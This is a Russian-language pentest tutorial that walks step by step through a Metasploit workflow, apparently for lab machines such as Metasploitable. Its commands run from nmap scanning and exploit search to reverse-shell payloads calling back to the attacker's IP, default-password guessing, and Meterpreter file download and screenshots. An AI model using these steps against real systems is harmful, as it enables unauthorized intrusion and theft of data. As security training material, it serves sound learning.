💎 Универсальная методология эксплуатации (взлома)
🎯 Что это
Пошаговый алгоритм действий от обнаружения сервиса до получения шелла. Не привязан к конкретной уязвимости — работает как универсальный чеклист для любой цели.
Представь это как рецепт: ингредиенты (порты, сервисы) каждый раз разные, но последовательность действий на кухне — одна и та же.
📌 Зачем нужна методология
Без системного подхода пентест превращается в тыкание наугад. Методология даёт предсказуемый процесс: сканируешь → находишь сервис → ищешь эксплойт → настраиваешь → запускаешь → проверяешь. Каждый шаг логически вытекает из предыдущего.
Даже если конкретный эксплойт не сработал — ты знаешь, куда двигаться дальше, а не сидишь в ступоре.
🔧 Шаг 0 — Активация базы данных
Перед запуском msfconsole включи PostgreSQL. Без неё Metasploit работает, но не сохраняет найденные хосты, порты и креды — придётся всё запоминать самому.
sudo msfdb init
Делается один раз. После этого запускаешь msfconsole как обычно. Проверить подключение:
db_status
Должно быть Connected to msf. Теперь все результаты сканирований и брутфорса сохраняются автоматически. Посмотреть их:
hosts # найденные хосты
services # открытые порты и сервисы
creds # найденные логины/пароли
Аналогия: это как рабочий журнал пентестера, который Metasploit ведёт за тебя. Особенно полезно, когда целей больше одной или возвращаешься к лабе через несколько дней.
⚡ Шаг 1 — Сканирование цели
Первое действие всегда одно — узнать, что работает на цели. Nmap сканирует все порты и определяет версии сервисов.
nmap -sV -p- <TARGET_IP>
-sV — определить версии сервисов. Без этого ты видишь только номера портов, но не знаешь что за софт за ними стоит.
-p- — сканировать все 65535 портов. По умолчанию Nmap проверяет только топ-1000, и ты можешь пропустить уязвимый сервис на нестандартном порту.
На что смотреть в результатах
Тебя интересуют три вещи в каждой строке:
- Порт — номер и протокол (22/tcp, 8787/tcp)
- Сервис — что работает (ssh, http, drb)
- Версия — конкретная версия софта (OpenSSH 4.7p1, UnrealIRCd 3.2.8.1)
Версия — самое важное. Именно по ней ты будешь искать эксплойт.
🔍 Шаг 2 — Поиск эксплойта
Два параллельных инструмента поиска. Используй оба — результаты дополняют друг друга.
searchsploit (в обычном терминале)
searchsploit <название_сервиса>
searchsploit <название_сервиса> <версия>
Ищет по локальной базе Exploit-DB. Показывает эксплойты для всех платформ, включая Python-скрипты и ручные методы.
search в msfconsole
search <название_сервиса>
Ищет только внутри Metasploit. Если эксплойт здесь — его можно запустить сразу, без лишних телодвижений.
Как выбирать из результатов
- Рейтинг — ищи
excellentилиgreat, они надёжнее - Платформа — нужен Linux или
multi(мультиплатформенный). Windows-эксплойты для Linux-цели бесполезны - Тип —
exploitдля атаки,auxiliaryдля разведки. Тебе нуженexploit - Дата — не критично, но свежие обычно стабильнее
Если searchsploit нашёл эксплойт, а в Metasploit его нет — придётся запускать вручную. Если есть в обоих — бери из Metasploit, там удобнее.
🔧 Шаг 3 — Загрузка и разведка эксплойта
use <путь/к/эксплойту>
Теперь разберись что он делает, прежде чем запускать:
show info
Читаешь описание — что именно эксплуатируется. Бэкдор в коде? Переполнение буфера? Слабая аутентификация? Это помогает понять, чего ожидать.
show options
Показывает параметры, которые нужно настроить. Колонка Required = yes — обязательно заполнить.
show payloads
Список доступных полезных нагрузок. От выбора payload зависит, какой тип доступа ты получишь.
⚡ Шаг 4 — Настройка
Обязательные параметры
set RHOSTS <TARGET_IP>
RHOSTS — IP цели. Нужен почти всегда.
Выбор payload
Если дефолтный payload не подходит:
set payload <тип_payload>
Основные варианты по приоритету:
- cmd/unix/reverse_netcat — простой обратный шелл, работает почти везде
- cmd/unix/reverse — базовый reverse shell через /bin/sh
- java/meterpreter/reverse_tcp — если цель на Java, даёт продвинутый Meterpreter
- linux/meterpreter/reverse_tcp — полноценный Meterpreter для Linux
LHOST — твой IP
Если payload обратный (reverse), нужно указать куда цель будет подключаться:
set LHOST <СВОЙ_IP>
Узнать свой IP:
ifconfig
ip a
Финальная проверка
show options
Убедись, что все Required = yes поля заполнены. Тройная проверка перед запуском — привычка, которая экономит время.
🎯 Шаг 5 — Запуск
exploit
или эквивалент:
run
Возможные исходы
- Session opened — успех, ты внутри
- Exploit completed, no session — эксплойт отработал, но шелл не открылся. Попробуй другой payload или другой эксплойт
- Exploit failed — иногда пишет failed, но сессия всё равно открывается. Проверь командой
sessions
🔍 Шаг 6 — Проверка доступа
Первые команды после получения шелла:
whoami
Под каким пользователем ты зашёл — root или обычный.
hostname
Подтверждение, что ты на целевой машине, а не на своей.
uname -a
Версия ядра, архитектура. Полезно для дальнейшей эскалации привилегий.
🛡 Шаг 7 — Управление сессиями
Metasploit хранит все открытые сессии. Это как вкладки в браузере — можно переключаться между ними.
sessions
Показать все активные сессии.
sessions -i <ID>
Войти в конкретную сессию. -i значит interact.
background
Или Ctrl+Z — свернуть текущую сессию и вернуться в msfconsole. Сессия остаётся живой.
Важно: если в шелле набрать exit — сессия закроется навсегда. Используй background, если хочешь к ней вернуться.
⚡ Альтернативный путь — прямое подключение
Если эксплойт не найден ни в searchsploit, ни в Metasploit — попробуй подключиться к сервису напрямую его родным клиентом.
vncviewer <TARGET_IP>
ssh <user>@<TARGET_IP>
ftp <TARGET_IP>
telnet <TARGET_IP>
Пробуй дефолтные пароли:
passwordadminroot- имя самого сервиса (например
msfadminдля Metasploitable) - пустой пароль
Слабый пароль — тоже уязвимость. Многие реальные взломы происходят именно так, без единого эксплойта.
🛡 Meterpreter vs обычный shell
Если payload выдал Meterpreter — это продвинутая оболочка с расширенными возможностями.
Основные команды Meterpreter
help
Полный список команд, разбитый по категориям.
shell
Перейти из Meterpreter в обычный системный шелл цели. Обратно — exit.
download <файл>
upload <файл>
Скачать файл с цели на свою машину или загрузить наоборот.
screenshot
Снимок экрана целевой машины.
Аналогия: обычный шелл — это как зайти в чужой дом и разговаривать через дверь. Meterpreter — как сидеть внутри за их компьютером с полным доступом ко всему.
🧠 Готовые комбо
Быстрый старт — от скана до шелла:
nmap -sV -p- TARGET → search SERVICE → use EXPLOIT → set RHOSTS TARGET → set LHOST СВОЙ_IP → exploit → whoami
Если эксплойт не найден:
nmap -sV TARGET → searchsploit SERVICE VERSION → не нашёл → подключись клиентом напрямую → пробуй дефолтные пароли
Управление несколькими сессиями:
exploit → background (Ctrl+Z) → use ДРУГОЙ_ЭКСПЛОЙТ → exploit → sessions → sessions -i ID
⚠️ Важные моменты
- Всегда сканируй все порты (
-p-). Уязвимый сервис может висеть на порту 8787 или 3632, которые Nmap по умолчанию не проверяет - Не сдавайся после первого эксплойта. Если один не сработал — пробуй следующий. Это нормальная часть процесса
- Exploit failed ≠ неудача. Проверяй
sessions— сессия могла открыться несмотря на сообщение об ошибке - searchsploit и search в msfconsole дают разные результаты. Используй оба
- Не набирай
exitв шелле, если хочешь сохранить сессию. Используйbackground show infoперед запуском — привычка, которая спасает от запуска не того эксплойта- Дефолтные пароли — не забывай про них. Иногда самый простой путь и есть правильный